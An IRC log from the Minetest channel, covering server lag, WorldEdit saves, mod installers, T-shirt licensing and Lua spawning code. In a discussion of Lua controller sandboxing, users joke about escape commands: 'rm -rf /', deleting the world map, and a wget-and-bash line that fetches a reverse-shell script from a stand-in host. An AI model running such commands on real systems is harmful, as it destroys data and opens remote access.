00:00 Menche hi
00:00 Menche going to start making worldedit saves of stuff on my server
00:00 Menche to transfer to new map
00:01 kaeza good
00:03 Kacey let me hop on and check coords and help with the worledit
00:04 Menche ok, just added worldedit
00:04 TheZenKitteh joined #minetest
00:04 Kacey do i have worldedit priv?
00:05 Kacey 3%
00:05 Menche not sure, my goodness the server is lagging
00:05 kaeza hey Zen
00:05 TheZenKitteh hey kaeza
00:05 Kacey im still getting on so that is wh
00:05 TheZenKitteh hey menche and kacey
00:05 Kacey why*
00:05 Kacey hi
00:05 Kacey almost there...
00:06 Menche cpu usage > 100%...
00:06 TheZenKitteh for any mod developers who wish to help test the bash and windows mod installers, the mod repo has been moved to its own repo and mods can be added through git
00:06 Uberi Menche: WorldEdit is working in a 3 level deep nested loop
00:07 TheZenKitteh any archive format supported so long as inside archive is the folder of the mod such as modname or industrial or mesecons whatever
00:07 kaeza TheZenKitteh, +1
00:07 Menche Uberi: the sad thing is, I haven't started using the worlded it yet :/
00:07 mauvebic whats your FPS with worledit?
00:07 marktraceur TheZenKitteh: http://www.theopensourceway.org/wiki/How_to_tell_if_a_FLOSS_project_is_doomed_to_FAIL#Releases
00:08 TheZenKitteh except rar.. rar isn't supported and I won't accept any mods to the repo that are in rar format lol
00:08 Menche mauvebic: my FPS is just fine, server lag is the problem
00:08 TheZenKitteh marktaceur I have no intentions of the bash and windows installers to take off.. however I do hope the online mod repo does so other mod installers can use what already exists
00:08 Kacey double jump for fly option ...
00:08 mauvebic i tend to associate lag with fps lol
00:09 Kacey i wasnt lagging at all
00:09 Menche you were'nt? maybe its because I'm leeching off of someone elses wifi...
00:09 Menche lol
00:09 Menche must be a way away from the router
00:10 Kacey lol
00:10 Kacey around 10 fps
00:10 Menche no, it's server lag, cpu usage is > 100%
00:11 mauvebic 10? poop
00:11 Menche mine is acting like it's capped at 30, even though it's actually capped at 60
00:11 Kacey i usually get 10 fps
00:11 Menche wow
00:12 mauvebic i used to get 10 FPS on my 7yr old gfx card
00:12 Menche i guess that is playable, it's what i usually get on my netbook
00:12 TheZenKitteh btw the goal of my mod installers btw is to "encourage" others who can do better to "try to one up me" or "contribute to make better".
00:12 Kacey i am watching the profiling graph thingy
00:13 * Menche is hoping his pentium 4 didn't just become obsolete
00:13 Kacey i have a pentium 4
00:13 TheZenKitteh this is a pentium 4 as well
00:13 Menche right around 0.4.0, my atom netbook ceased to be able to run a minetest server well
00:13 TheZenKitteh lol
00:14 mauvebic minetest never worked properly on my netbook either
00:14 airlynx joined #minetest
00:14 mauvebic had all these weird colored polygons on the screen
00:14 kaeza marktraceur, my IRC mod does all the points in the "Bundling" section... does that mean it's doomed to fail?
00:14 Kacey watching the graph go crazy when i get to the end of a chunk
00:14 mauvebic like someone threw a rainbow rock at the screen
00:14 Kacey mine does that but only for a second
00:15 mauvebic though netbook gfx and wifi drivers are notoriously a PITA
00:15 Menche my netbook gets occasional artefacts
00:15 mauvebic so we all get artefacts on the netbook? weird
00:15 Menche i haven't noticed them as much lately
00:15 Menche intel gfx drivers?
00:15 mauvebic yep
00:15 mauvebic intel atom N450
00:15 TheZenKitteh last time I tried minetest on a netbook it was a fail. <5FPS average
00:16 Kacey woa massive spike
00:16 TheZenKitteh occasional hiccups above 10
00:16 Menche i get about 10-15 fps
00:16 airlynx does the version on Ubuntu Software Center (v0.3.1) not connect to servers?
00:16 Menche give or take
00:16 Menche airlynx: it connects to 0.3 servers, most servers run 0.4
00:17 airlynx Menche: I went to the site to get the latest version, but the Ubuntu link doesn't seem to be working
00:18 airlynx nm, the magical "try-again" fairy fixed
00:19 marktraceur kaeza: You need to add up all the points!
00:20 TheZenKitteh marktraceur that link you gave doesn't fit all projects properly and assumes many things
00:21 Kacey woa really bad lag there
00:21 * Kacey is waiting for map to load...
00:22 Kacey Menche do you remember how to use worldedit?
00:22 marktraceur TheZenKitteh: Yes, but it's largely a hilarious joke.
00:22 Menche im looking at the worldedit page for reference
00:23 marktraceur TheZenKitteh: spot mostly made it in response to his frustration with Chrome, I think.
00:23 TheZenKitteh lol marktraceur it is to a degree
00:23 Uberi another nanosecond, another Chrome version
00:24 Menche Kacey: just started a worldedit save
00:24 mauvebic lol
00:25 Kacey it looks like nobody wants their buildings saved...
00:25 Menche actually it wasn't that bad
00:25 mauvebic lol -> new chrome version
00:25 Menche i don't think i'll save the weird looking lava thingie next to spawn
00:25 kaeza marktraceur, 155 points of FAIL, so yep, pretty much screwed
00:25 Uberi hey marktraceur got gh push access!
00:26 Uberi high five o/
00:26 marktraceur Uberi|Away: Mostly for bug tracking porpoises.
00:27 TheZenKitteh I say everything can be worked on.. if a project works as the developers envisioned and it serves a purpose, its not a total fail. the issue I see with almost every floss project is lack of GOOD documentation that's written in a way the END USER can understand
00:27 marktraceur Before you ask, the dolphins were harder to train and therefore much more expensive.
00:27 TheZenKitteh most seems written from the viewpoint of the devs and most end users won't even read it because its overcomplicated
00:27 TheZenKitteh lol
00:28 kaeza TheZenKitteh, I try to make my docs as easy to understannd to end users as possible
00:28 TheZenKitteh same here kaeza.. of course im not very strong in documentation
00:28 TheZenKitteh yet
00:29 kaeza (Note: I usually look at Microsoft documents for inspiration because of their tendency to treat users like stupid masses)
00:29 TheZenKitteh all my projects are mostly for my own personal use as a learning tool. however I believe in sharing so I do
00:29 Menche does worldedit save metadata like chest inventories?
00:30 * TheZenKitteh jokes that there should be a realworldedit that can edit the real world.. if only such existed
00:30 TheZenKitteh anyway time for work again so ta ta to everyone for now
00:30 TheZenKitteh have fun
00:33 Kacey haha
00:33 Kacey punched an unknown block and the graph spiked
00:43 bwsrjr joined #minetest
00:43 bwsrjr I think I installed a mod (mesecons), but the game looks normal. how can i tell?
00:44 mauvebic check your creative inventory?
00:46 bwsrjr mauvebic: yup, that worked. i'm a super-newb
00:46 bwsrjr thansk
00:47 mauvebic no prob you can also use /giveme if you know exactly what youre looking for
00:48 kaeza wow! talk about good support! I just received an answer to a question I posted on Puppy Linux Forums 5 months ago!
00:48 Uberi to answer your question Menche, only //metasave does
00:48 mauvebic better than ubuntu's "its your hardware" typical responses lol
00:48 Menche ok
00:48 Uberi Menche: a future version will fold //metasave into //save to make things simpler
00:51 kaeza the problem with puppy forums is every kiddo makes a stupid question about things like "how do I change to a new directory?" and so *real* questions are lost forever in the last pages of the topic list
00:52 Uberi kaeza: well to be fair, that's a legitimate question
00:55 kaeza yeah
00:55 kaeza It's also a question that is easily answered by RTFM
00:56 kaeza there's even a FAQ answering those...err...Frequently Asked Questions
00:57 bwsrjr man, i've never played mine{craft,test} before. these mesacons are amazing
00:57 Uberi bwsrjr: wait 'till luacontrollers are ready
00:57 Uberi they'll knock your socks off
00:58 bwsrjr do you know if the mesecons commands (for the command block) are documented anywhere?
00:58 Uberi ComputerCraft, anyone?
00:58 Kacey luacontrollers?
00:58 Uberi bwsrjr: they're all just MineTest commands, plus two I added for convenience
00:59 Uberi bwsrjr: use the /help command to get a list
00:59 Uberi bwsrjr: the chat command, I mean, type /help in the chat and press enter
00:59 Uberi bwsrjr: I also added /msg and /say to make adventure maps easier
00:59 bwsrjr awesome
00:59 babyface1031 do jungle tree leaves die like the other tree leaves
00:59 Uberi Kacey: uc's, except programmed with Lua
01:00 Kacey so you have to know lua to program them?
01:01 bwsrjr I'll learn lua for that. Isn't it used to script all kinds of games? WoW comes to mind
01:01 mauvebic isnt that a danger for hacking servers?
01:01 Menche ucs are lua?
01:01 Uberi mauvebic: all sandboxed
01:01 Uberi Menche: right now uc's are programmed in ucscript
01:01 Uberi we're working on making Luacontrollers safe for servers still
01:02 Uberi right now you can still crash a server with an infinite loop
01:02 Uberi when it becomes fully safe it'll be in the release
01:02 Kacey so instead of sbi(C,A) it would be something else?
01:02 mauvebic does it prevent users from accessing all the api calls?
01:02 Uberi mauvebic: yep
01:02 mauvebic like say, a user couldn't grant himself privs
01:03 Uberi mauvebic: or worse: os.open("rm -rf /")
01:03 Dogzilla131 joined #minetest
01:03 Uberi mauvebic: yeah the environment is all nicely safe and sandboxed
01:03 Uberi but still infinite loops are possible
01:03 Menche if a server operator were running his server as root, he would deserve that
01:03 Menche rm -rf /
01:04 Exio if someone is running a server as root
01:04 Exio the problem isn't the server, is the sysadmin
01:04 bwsrjr Uberi: what do the water turbines do?
01:05 bwsrjr nm, i see on the site
01:05 bwsrjr wow. I've got to run, but this is amazing
01:06 Uberi Exio: still, MT has access to the map, so os.open("rm ../worlds/map.sqlite")
01:06 Exio well, yeah
01:07 kizeren os.open("rm -Rf /")  That would be more fun.
01:07 Exio or even better, os.open("wget http://your.nice.site/reverse.shell.sh;bash reverse.shell.sh"); >:D
01:08 Uberi Exio: the new WorldEdit also has a //lua command that can technically do that
01:08 Uberi but it has even stricter privs, needs server=true
01:11 babyface1031 do jungle tree leaves die like the other tree leaves
01:12 babyface1031 and what is noclip
01:13 mauvebic being able to pass through shit
01:14 NakedFury noclip is being a ghost
01:14 NakedFury should use that name instead of noclip
01:15 Uberi nah ghost has other connotations
01:15 Uberi like being invisible
01:16 NakedFury ok the Kitty Pride(i think) mode
01:23 airlynx still can't connect to c55.me server
01:29 Menche airlynx: that server has been down
01:29 Kacey i must go
01:30 Uberi his people need him
01:40 BackupCoder legends will speak of it
01:45 mauvebic which is nicer rosebush? http://www.zimg.eu/i/2006889979
01:45 airlynx what is a good server to connect to then?
01:51 Uberi airlynx: survival or creative?
01:54 kaeza OldCoder, are you updating the servers?
01:54 kaeza BackupCoder, ^
01:57 kaeza oh nvm
01:57 kaeza they are back up
01:58 airlynx uberi: no idea, just exploring the game at this point
02:00 Uberi airlynx: well have a gander at VanessaE's creative server, it has a huge selection of what's possible with MT
02:00 Uberi can you give the address, VanessaE?
02:01 erlehmann joined #minetest
02:01 erlehmann anyone here?
02:02 marktraceur erlehmann: So many people are here!
02:02 airlynx lol, I just discovered the wiki pages, realized there's a whole lot more to this than just digging dirt and sand with my hands
02:02 erlehmann i got a mail from the t-shirt shop.
02:02 marktraceur erlehmann: Welcome to IRC, ask your question :)
02:02 marktraceur erlehmann: What was it?
02:02 erlehmann i asked them to provide attribution.
02:03 erlehmann but they were like “In accordance with our Intellectual Property Rights Policy, we have prevented the user from using the images on products for sale through their store.”
02:03 erlehmann even though i explicitly told them commercial use is ok
02:03 erlehmann >_>
02:03 erlehmann <_<
02:03 erlehmann -_-
02:04 erlehmann is the shop still there?
02:04 marktraceur erlehmann: So wait, the order I placed....is going to get cancelled?
02:04 erlehmann marktraceur, i have *no* idea.
02:04 marktraceur The "black and yellow" design is, all others aren't
02:04 marktraceur Guh, these people are morons.
02:04 erlehmann indeed.
02:05 erlehmann but probably easiest for them to just delete fucking everything.
02:05 erlehmann any idea what i can do?
02:06 Dogzilla131 joined #minetest
02:06 erlehmann maybe i'll find a CC-friendly shirt shop
02:07 erlehmann let me look up the cafepress intellectual property rights policy
02:07 erlehmann that cafepress person is like youtube
02:08 erlehmann http://www.cafepress.com/cp/info/help/index.aspx?page=iprights.aspx
02:08 erlehmann > If you let us know that your rights are being infringed by one of our users we will (in our discretion) require that the user's content is removed from products and, if the user continues to infringe your rights (or infringes the rights of others) terminate the user's access to our services.
02:08 erlehmann oh well
02:09 erlehmann who of you does the cafepress store?
02:09 marktraceur rubenwardy, but he not here
02:10 erlehmann oh well tell him i meant no bad then. i can post the email if he wants.
02:10 marktraceur Righto.
02:10 marktraceur erlehmann: I'd really enjoy reading the full text, actually. Might make a good blog post.
02:10 erlehmann i just want attribution and that users are aware of the source code of the image.
02:10 erlehmann marktraceur, ima gonna sleep.
02:10 marktraceur KK.
02:10 erlehmann but i'll post it.
02:10 erlehmann wait
02:12 marktraceur erlehmann: In fairness, they're correct
02:12 marktraceur erlehmann: The shirts essentially broke the license
02:13 erlehmann marktraceur, they are correct, yes. but it would be very easy to comply.
02:13 marktraceur True, but their policy says something, and they can't very well play fast and loose with that sort of thing
02:13 erlehmann yeah, probably.
02:13 marktraceur Else they'd get sued. A lot.
02:13 erlehmann ima gonna post the mail.
02:14 marktraceur Woot!
02:17 mauvebic jesus its cold outside

04:03 mauvebic (http://forum.minetest.net/viewtopic.php?id=4136)
04:04 kizeren So is this a map that you would not give me nukes?
04:05 mauvebic not on that server its not creative
04:06 kizeren Going to try and talk the wife into creating a map for PVP.
04:06 kizeren Just not sure what anyone would want in a PVP map.
04:07 OldCoder hi
04:07 kizeren But I will deffinetly put nukes in it :)
04:07 kizeren Hello OldCoder
04:07 OldCoder hi!
04:08 kizeren I hope you don't mind.  I mirrored your website so I could get the mods you have on port 30000.
04:09 mauvebic whos website? we all have websites lol
04:09 kizeren OldCoder's.
04:11 kizeren I wanted OldCoders so i could see the mods and config files for the worlds.  Been trying get a little extra speed from the one I host.  I think I found a good combo and so far it has helped.
04:11 kizeren now if we can do something about the graphics :)
04:11 mauvebic ive been working on optimizing too
04:12 mauvebic lots of redundant code to cut down on lol
04:12 kizeren my problem was conifers and plantlife then animals....just brough everything to a stand still.
04:12 kizeren Now nothing really lags the server accept if you spawn a new area.
04:12 kizeren Which i can live with.
04:15 erlehmann awww http://forum.minetest.net/viewtopic.php?id=3731
04:15 erlehmann only 9 years old and coding!
04:15 erlehmann great!
04:21 OldCoder hi
04:21 OldCoder kizeren, feel free and you need to update sometime
04:21 OldCoder kizeren, there will be much more
04:22 kizeren I am just giong to try and keep mine updated with yours.
04:22 OldCoder Please don't clone all the time; once in a while should do
04:22 kizeren Best i can anyway.
04:22 OldCoder Maybe I will give out rsync
04:22 OldCoder That would let everybody clone everything
04:22 kizeren I figured maybe most once a week.
04:22 OldCoder k
04:22 OldCoder Hmm
04:23 OldCoder kizeren, can you limit two things? One would be *my* mirror of thexyz mods
04:23 OldCoder that won't change much
04:23 OldCoder and if I put the worlds online
04:23 kizeren I was just too lazy to write a script to get the zip files tonight :)  But I might try it next week so I don't kill your bandwidth.
04:23 OldCoder that will be gigabytes
04:23 OldCoder Hmm
04:23 OldCoder I could see the worlds as torrents
04:23 OldCoder * see
04:23 OldCoder * seed
04:24 kizeren Would it be hard for you to have one big zip file of all the mods to grab instead of individuals?
04:24 OldCoder Not hard, no
04:24 OldCoder We can do all kinds of things
04:24 OldCoder Keep an eye on it over time
04:24 OldCoder kizeren, actually what you just asked
04:24 OldCoder is there in a way
04:24 OldCoder I have placed the _game folders zipped online
04:25 kizeren What I was thinking was setting up a cron job that will use wget to check if file has changed if so...then have wget download the new file.
04:25 OldCoder fine
04:25 kizeren but this time I wanted all the config files.  So I could tinker with them and find one that best worked on my server.
04:25 OldCoder sure
04:26 kizeren Did you know the textures are all goofy?
04:31 kizeren Oo well... late for me.
04:31 kizeren laters.

05:14 * VanessaE grabs an erlehmann sponge.
05:15 kaeza hah
05:15 erlehmann :3
05:15 erlehmann VanessaE, can you modify my mod so sponge occurs naturally?
05:16 kaeza outside view: https://dl.dropbox.com/u/100008207/minetest/screens/octuteam/screenshot_1272732901.jpg
05:16 VanessaE erlehmann: I could possibly do that....  ironically the best place to spawn a sponge would be under water...which of course they're designed to get rid of :)
05:16 kaeza err...wouldn't that dry up the world? :P
05:16 VanessaE yup
05:17 erlehmann VanessaE, i would suggest they spawn 1 block below sea level and very rarely
05:17 kaeza how about making a "dry sponge" and a "wet sponge"?
05:18 kaeza (like a water tank or smth like that)
05:18 * kaeza has fancy useless ideas
05:19 * kaeza 's creativity sucks

05:56 VanessaE no :)
05:56 kaeza oh ok
05:56 kaeza :)
05:56 VanessaE I'm here ---->
05:56 kaeza nope
05:56 kaeza theres a blank area there
05:56 kaeza :P
05:56 kaeza <Brandy> only bad thing is, i keep cutting down trees and they keep taking over everything now
05:56 VanessaE I'm invisible, duh :)
05:56 kaeza <Brandy> they are growing through my buildings and taking over all the land thats left, its like the attack of the killer trees lol
05:57 VanessaE tell him to bury some trunks under a layer of dirt as close to the surface as possible.
05:57 VanessaE that'll cause the spawn code to avoid those areas.
05:57 kaeza whatokay
05:57 kaeza BTW, it's a "her"
05:57 VanessaE her then :-)
05:58 kaeza thanks ;)
05:58 VanessaE the spawner checks for the presence of trunks or saplings of the type about to be spawned, and avoids them if they're too close
05:59 VanessaE alternatively, tell her not to build there ;-)
05:59 VanessaE or build at below 25m
06:01 kaeza VanessaE, she says thank you
06:01 kaeza (it's weird relaying messages between channels lol)
06:02 VanessaE I'll make changes to the code soon to make them spawn on mapgen insted of via an abm
06:07 kaeza umm... http://www.youtube.com/watch?annotation_id=annotation_152960&amp;feature=iv&amp;src_vid=To6q3w6RzNg&amp;v=U8tAkQ-37XU

07:11 cosarara97 hi
07:11 kaeza hey
07:12 cosarara97 Do I have to give any options to CMake to get the 3D player?
07:12 kaeza nope
07:12 kaeza just use latest git
07:12 kaeza (well, not latest, but recent enough)
07:12 kaeza also, the 3d player is part of minetest_game
07:13 kaeza so you should update that as well
07:13 cosarara97 that is it
07:13 kaeza yup
07:14 kaeza celeron55, would an API to determine what caused damage to player be possible? it would require protocol changes right?
07:15 kaeza or can it be done someway in Lua?
07:15 kaeza somehow*
07:18 kaeza hmm... thinking about it, I think that can be possible with a patch in C++ (at least for environment damage such as lava and falling)
07:18 kaeza other damage such as from entities can be (almost) easily done in Lua

07:21 kaeza unless the code is doing something weird
07:22 kaeza anyway, what's the mod in question?
07:22 cosarara97 Well, the game is crashing just when I start to see the world
07:22 cosarara97 only in single player
07:22 cosarara97 I'll try to disable the external mods
07:22 Zeg9 joined #minetest
07:23 kaeza do this:
07:23 kaeza remove all the mods (so you are left only with default game)
07:24 kaeza and start adding one by one
07:24 kaeza and test which one causes the segfault
07:24 kaeza s/test/see/
07:24 cosarara97 I removed them all, and it's working now, but at 3 fps only :S
07:25 kaeza hmmm
07:25 kaeza MOBF can cause those problems
07:25 kaeza even when removed
07:25 kaeza are you using that?

09:50 celeron55 it could be automated fairly easily - just introduce some wiki-like special syntax to be used for package links and short info on the forum
09:51 celeron55 not really wiki-like... some standard way of listing things anyway
09:52 OldCoder thexyz, he is interested specifically in my versions of the mods I think
09:52 thexyz well, installing pun_attachment is an another option

13:56 celeron55 news from minetest.net VPS: they finally could do a hardware check for it after relocating some service (other than minetest.net) that it was running as one of a redundant pair of servers
13:56 celeron55 s/for it/for the physical server/
13:56 celeron55 turns out it had a broken RAM module
13:56 celeron55 that... well, explains stuff
13:57 celeron55 for some reason no other VPSes were affected by it
14:00 VanessaE translation:  "We don't want to admit to how bad the problem *really* was".
14:00 VanessaE also, good morning.
14:02 PilzAdam joined #minetest
14:02 PilzAdam Hello everyone!
14:02 VanessaE morning PilzAdam
14:05 celeron55 VanessaE: eh?
14:06 VanessaE celeron55: nevermind, it was a joke.
14:08 celeron55 do you ever have any jokes the funnyness of which doesn't involve unrighteously laughing at people?
14:09 VanessaE *facepalm*
14:10 celeron55 i think i haven't ever seen anyone else respond to these in any positive way either; i'm somewhat sure the problem is more in you than me
14:10 celeron55 not that i really care, but anyway
14:10 VanessaE I worked for a VPS provider for a while and was paid to lie about the severity of the problems the place had.
14:11 VanessaE (needless to say I didn't stay there long)
14:12 shirish joined #minetest
14:12 celeron55 ...i don't really see how having a broken memory module can differ from having a broken memory module
14:13 VanessaE It isn't about the damage to the hardware - it's about the claim that no one else but minetest.net was affected, which is absurd.
14:14 celeron55 well, it obviously is pretty bad, regardless of if others actually suffered of it or not
14:14 * PilzAdam sees that MarkTraceur and hmmmm have access to the main repo
14:14 VanessaE certainly so, yes.
14:15 celeron55 given that the big service that prevented running the long hardware check was a pair of two redudant servers, that wouldn't have been affected that much at least
14:15 celeron55 i mean, of the RAM error
14:15 VanessaE you do realize how many VPS's are usually run on such a machine, right?
14:16 RealBadAngel hi all
14:16 VanessaE mornin' RBA
14:16 RealBadAngel evenin' VanessaE :)
14:16 celeron55 many; altough i am not fully knowledgeable of how this hosting is actually implemented
14:18 celeron55 (it isn't the general "bulk vps hosting"; it's likely to be on a rented physical server owned by the very small company, which mostly runs sites provided as a service right from the making of them)
14:18 VanessaE a colo then.
14:18 VanessaE or just a dedicated server?
14:19 celeron55 probably just a dedicated server
14:19 Zetetic` joined #minetest
14:19 celeron55 dunno though; i could ask but it doesn't really matter
14:19 VanessaE RealBadAngel: I'm working on an extension to plantlife to allow for mapgen-based spawning.

14:22 RealBadAngel once done i will upload it to github and let you know
14:22 VanessaE look suitable to you?  I'm not used to working with the register_on_generated() call
14:23 RealBadAngel look serious, we will see how it will work ;)
14:23 VanessaE (sometimes I hate pastebin for enforcing line lengths... *grumble*)
14:23 VanessaE (read it in "raw" view, it's less jumbled)
14:24 celeron55 minetest.register_on_generated(local searchblocks = table.getn(minet...
14:24 celeron55 an interesting function definition for sure 8)
14:25 VanessaE celeron55: I've never used this call before.
14:25 VanessaE so I don't expect this code to work yet
14:25 VanessaE this is just an outline until I functioanlize the bulk of the code that'll be inside there
14:27 celeron55 it might work if you add the missing pieces, yes
14:42 VanessaE RealBadAngel: how's this look?  http://paste.ubuntu.com/1545579/

14:48 PilzAdam check if the first param is a table; if yes read the table if not read the other params
14:50 VanessaE no need, this format works fine...besides, I'm too lazy to change it :D

17:39 VanessaE :-)
17:40 thexyz you call register_on_generated(function()), that way it calls function() and then when on_generated occurs on_generated calls function()(), to make it work your function should return function
17:40 thexyz that simple!
17:40 VanessaE O.O

17:47 marktraceur All right, functional languages! Woo!
17:48 marktraceur Python decorators, by the way, are the same thing.
17:50 VanessaE thexyz: I don't understand (even after reading about it) why such syntax is necessaru
17:50 VanessaE necessary.
17:50 VanessaE can someone explain it in English please? :-)
17:50 marktraceur VanessaE: Basically it's a way to introduce a new scope where there otherwise wouldn't be one

17:51 thexyz =(
17:51 whirm1 joined #minetest
17:52 marktraceur OK, wow, that is a large number of arguments
17:52 thexyz that's why i suggested VanessaE to use table instead
17:53 Zetetic`` joined #minetest
17:53 anunakki joined #minetest
17:53 VanessaE well it runs now (after fixing a wrongly-used table.getn() call also) but it ain't actually adding anything.
17:54 VanessaE at least it doesn't crash
17:54 nisio i installed minetest through ubuntu software center anybody know what version it is?
17:54 VanessaE nisio: probably 0.3.x which is way outdated
17:54 PilzAdam very very outdated
17:55 Calinou nisio: try my one line install/compile command if you want to install latest version easily
17:55 PilzAdam Calinou, fix your changelog: "* Added particles when digging blocks (Jeija)" is by Jeija & PilzAdam
17:56 nisio thanks
17:56 VanessaE Calinou: your one-line install is broken
17:56 Calinou http://forum.minetest.net/viewtopic.php?id=3837
17:56 Calinou VanessaE: explain?
17:56 VanessaE Calinou: you left out -DRUN_IN_PLACE=
17:57 thexyz >This is intended: this one-line script is not intended for "portable" installs. The user data goes to .minetest, which means the whole minetest folder is cleaner
17:57 Calinou updated changelog: http://dl.dropbox.com/u/82342922/0.4.x-changelog.txt
17:57 Calinou VanessaE: feature, not a bug
17:57 Calinou user data goes to ~/.minetest and it is much better this way
17:57 Calinou like a packaged install
17:58 VanessaE Calinou: for some people your one-liner produces broken installs.
17:58 PilzAdam I dont understand people not using run in place
17:58 Calinou some people = who? what's broken?
17:58 Calinou PilzAdam: having their configuration in a single folder is better than putting user data in the same folder as program data
17:58 VanessaE I don't remember now who it was.
17:59 PilzAdam Calinou, maybe add both scripts to the topic so people can choose
17:59 Calinou good idea :P
18:01 nisio cd ~
18:02 Calinou readded spaces between ";"s too, more readable
18:03 PilzAdam the changelog in the software center tells something about a "Michael Gilbert <mgilbert@debian.org>", maybe someon should mail him that there are updates?
18:03 Calinou debian bug tracker would like to have a talk with you
18:03 Calinou http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=minetest;dist=unstable
18:04 thexyz VanessaE: http://www.lua.org/pil/6.1.html
18:04 VanessaE thexyz: I already read that.
18:05 VanessaE and as with most every other part of the PIL, it's gibberish to someone like me who is used to simpler languages.
18:05 thexyz did that help?
18:05 thexyz oh
18:05 VanessaE I'm afraid not
18:05 VanessaE I had to go elsewhere to get something resembling English :)
18:06 marktraceur "PIL" = "Programming in Lua" and "Python Imaging Library"
18:06 marktraceur I was confused for a sec

18:22 KikaRz Cool... New Particles.
18:22 rubenwardy (5:58:12 PM) PilzAdam: I dont understand people not using run in place
18:22 rubenwardy +1
18:22 VanessaE thexyz: NOW that makes more sense!
18:23 KikaRz rubenwardy
18:23 KikaRz Well, the better for some people, is not using RUN IN PLACE
18:23 KikaRz reason: Roaming is enabled in Windows, so, they can make same way as Minecraft.
18:23 marktraceur Oh, rubenwardy, erlehmann got an email from cafepress last night
18:23 Octupus yea
18:23 Octupus if you want to see in windows you type in
18:24 Octupus %appdata%
18:24 KikaRz Aham.
18:24 marktraceur rubenwardy: They took down the merchandise with the logo on it because you didn't attribute him - not his fault, their policy
18:24 leo_rockway I don't use run in place in GNU/Linux. I compile using my package manager, so all my stuff is neatly put where it belongs.
18:24 VanessaE thexyz: still doesn't work, but at least the variables are getting through
18:24 VanessaE oh wait
18:25 VanessaE there.
18:25 thexyz marktraceur: how should we attribute him?
18:25 VanessaE it ain't adding nothin' to the map, but the code no longer crashes.  that's a start.
18:26 marktraceur thexyz: I'd imagine that a tiny bit of sideways text saying "(C) Nils Whateverhislastnameis 2011, CC-BY-SA"
18:26 KikaRz VanessaE, tell me the changelog
18:26 marktraceur ...would do it
18:27 VanessaE KikaRz: what changelog?
18:27 KikaRz plz
18:27 KikaRz from minetest
18:27 VanessaE oh
18:27 VanessaE ask Calinou  :-)

18:27 VanessaE or PilzAdam ..
18:27 KikaRz Pilz, that is updated?
18:27 KikaRz i wanted "snapshot" changelogs
18:28 PilzAdam umm, read the first line?
18:28 KikaRz ah
18:28 KikaRz sry.
18:29 rubenwardy (6:24:23 PM) marktraceur: rubenwardy: They took down the merchandise with the logo on it because you didn't attribute him - not his fault, their policy
18:29 rubenwardy they took down all merchandise
18:30 rubenwardy "Content Usage Policy Warning  This image has been flagged as a possible violation of the CafePress Content Usage Policy and has been set to “pending status” which means it cannot be used on any products or available for purchase."
18:32 marktraceur rubenwardy: Not all of it, the black + gold one is still there
18:32 rubenwardy oh yeah
18:32 marktraceur rubenwardy: I'd suggest adding attribution and then they can allow the logo back on
18:33 rubenwardy It is not the logo, it is the name "minetest"
18:33 rubenwardy The dungeon master tshirt had no logo
18:34 rubenwardy *not just the logo
18:34 marktraceur rubenwardy: Minetest isn't trademarked, though
18:34 marktraceur Oh
18:34 rubenwardy yeah, I know
18:34 marktraceur The DM graphic is probably CC-BY-SA also
18:35 marktraceur Wait, shouldn't the Mese graphic be CC-BY-SA?
18:35 marktraceur Why didn't they take that down?
18:35 rubenwardy celeron55 gave permission for both of those

18:42 thexyz marktraceur: can we ask erlehmann to make an exception?
18:43 rubenwardy celeron55 holds the copyright of the DM + Mese, doesn't he?
18:43 thexyz i doubt anyone would wear t-shirt with copyright notice
18:43 marktraceur thexyz: First, people do all the time, it doesn't have to be a *big* copyright notice
18:44 marktraceur thexyz: Second, erlehmann could make an exception, but largely the best way for that to happen is to use CC0, which would sort of defeat the purpose of CC-BY-SA
18:44 thexyz i examined my t-shirt right now and i can't find any copyright notice
18:44 thexyz well, anyway
18:44 nisio i could be on the tag at the neck

18:45 nisio yeah that might be a problem
18:46 marktraceur thexyz: You might not be wearing one with a copyrighted image
18:46 marktraceur thexyz: I've seen a lot of comic book t-shirts with that sort of thing
18:46 jojoa1997 what was copyrighted
18:46 thexyz that's just weird
18:46 marktraceur jojoa1997: The Minetest logo, and others
18:46 marktraceur thexyz: It's tiny, I swear
18:47 nisio well minetest is GPL is the logo copyrighted
18:47 jojoa1997 the logo is copyrighted
18:47 nisio hmm
18:47 rubenwardy you can only put stuff on the front of the T-Shirt
18:48 nisio you could incorporate it into the design
18:48 marktraceur rubenwardy: Put some tiny text on one side of it or something
18:48 PilzAdam nisio, Minetest is LGPL
18:48 thexyz we should ask erlehmann to release it under cc0 then
18:48 marktraceur rubenwardy: It's really not that big a deal
18:49 thexyz yes, instead of t-shirt with logo & "minetest", you'll get one with large copyright notice, great
18:49 sfan5 ^
18:49 marktraceur thexyz: Why do you assume it has to be large?
18:50 marktraceur thexyz: It can be like, size 4 font.
18:50 thexyz still, it'll look odd
18:50 marktraceur It just has to have the information on it somewhere.
18:50 * marktraceur will show you
18:50 marktraceur rubenwardy: Do you have the image of the shirt up somewhere?

18:54 Calinou VanessaE: idea: mushrooms near trees? :-D
18:54 Calinou ...then you could make soup like in minecraft

19:01 * Calinou vomits a frame pointer
19:01 * marktraceur doesn't care
19:01 Calinou also, use ©, not copyright
19:01 marktraceur It was just an example
19:01 Calinou shorter :P
19:01 rubenwardy how about
19:01 rubenwardy "Minetest Logo (c) to <name>, CC-BY SA (c)"
19:01 rubenwardy without the last (c)
19:01 marktraceur rubenwardy: The second (c) isn't necessary, yeah
19:01 Calinou can't you write CC BY-SA 3.0 instead of attribution-sharealike?
19:01 marktraceur rubenwardy: CC-BY-SA might not work. But you definitely need 3.0.
19:02 Calinou :|
19:02 * marktraceur will be fine with CC-BY-SA, just not sure who won't be
19:02 marktraceur Ideally it would include a link to the license

20:21 Jordach Calinou, depends on the shop
20:22 * Jordach likes ebuyer
20:22 jojoa1997 can anyone test that server
20:22 Calinou buy hardware then build yourself
20:22 Calinou I did a big mistake by buying an OEM desktop :|
20:22 Jordach Calinou, not really nope.
20:22 mauvebic you buy a basic box (with the mobo you need) and build up with new parts from there
20:22 Calinou shit PSU, shit fan (noisy but efficient), way too big HDD
20:22 Jordach Calinou, thats a bonus, not a negative
20:22 jojoa1997 Octopus: i cant get on Ip Address: diamondmining.no-ip.org Port: 30000
20:22 mauvebic seriously lol
20:23 Calinou Jordach: i'd rather get a SSD instead of an HDD
20:23 Calinou HDDs are things of the past..
20:23 Jordach pussy.
20:23 mauvebic lol
20:23 Jordach Calinou, expect them to burn out soon >:D
20:23 Octupus ok jojoa1997 il check it out
20:23 Calinou them, the SSDs or the HDDs?
20:23 Jordach (they usually have 1000 writes)
